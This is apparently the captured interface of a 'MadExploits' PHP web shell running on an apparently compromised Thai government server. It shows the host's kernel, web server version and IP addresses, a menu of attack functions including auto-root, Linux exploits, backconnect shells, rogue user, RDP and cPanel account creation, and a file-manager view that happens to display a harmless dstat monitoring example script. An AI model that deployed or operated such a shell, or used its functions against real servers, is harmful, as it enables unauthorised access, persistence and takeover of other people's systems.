Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
dstat-0.7.0 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
curstest
521
B
-rw-r--r--
devtest.py
759
B
-rw-r--r--
mmpipe.py
1006
B
-rw-r--r--
mstat.py
1.25
KB
-rw-r--r--
read.py
915
B
-rw-r--r--
tdbtest
301
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mstat.py
#!/usr/bin/python ### Example2: simple sub-second monitor (ministat) ### This is a quick example showing how to implement your own *stat utility ### If you're interested in such functionality, contact me at dag@wieers.com import sys sys.path.insert(0, '/usr/share/dstat/') import dstat, time ### Set default theme dstat.theme = dstat.set_theme() ### Allow arguments try: delay = float(sys.argv[1]) except: delay = 0.2 try: count = int(sys.argv[2]) except: count = 10 ### Load stats stats = [] dstat.starttime = time.time() dstat.tick = dstat.ticks() for o in (dstat.dstat_epoch(), dstat.dstat_cpu(), dstat.dstat_mem(), dstat.dstat_load(), dstat.dstat_disk(), dstat.dstat_sys()): try: o.check() except Exception, e: print e else: stats.append(o) ### Make time stats sub-second stats[0].format = ('t', 14, 0) ### Print headers title = subtitle = '' for o in stats: title = title + ' ' + o.title() subtitle = subtitle + ' ' + o.subtitle() print '\n' + title + '\n' + subtitle ### Print stats for dstat.update in range(count): line = '' for o in stats: o.extract() line = line + ' ' + o.show() print line + dstat.ansi['reset'] if dstat.update != count-1: time.sleep(delay) dstat.tick = 1 print dstat.ansi['reset']
Close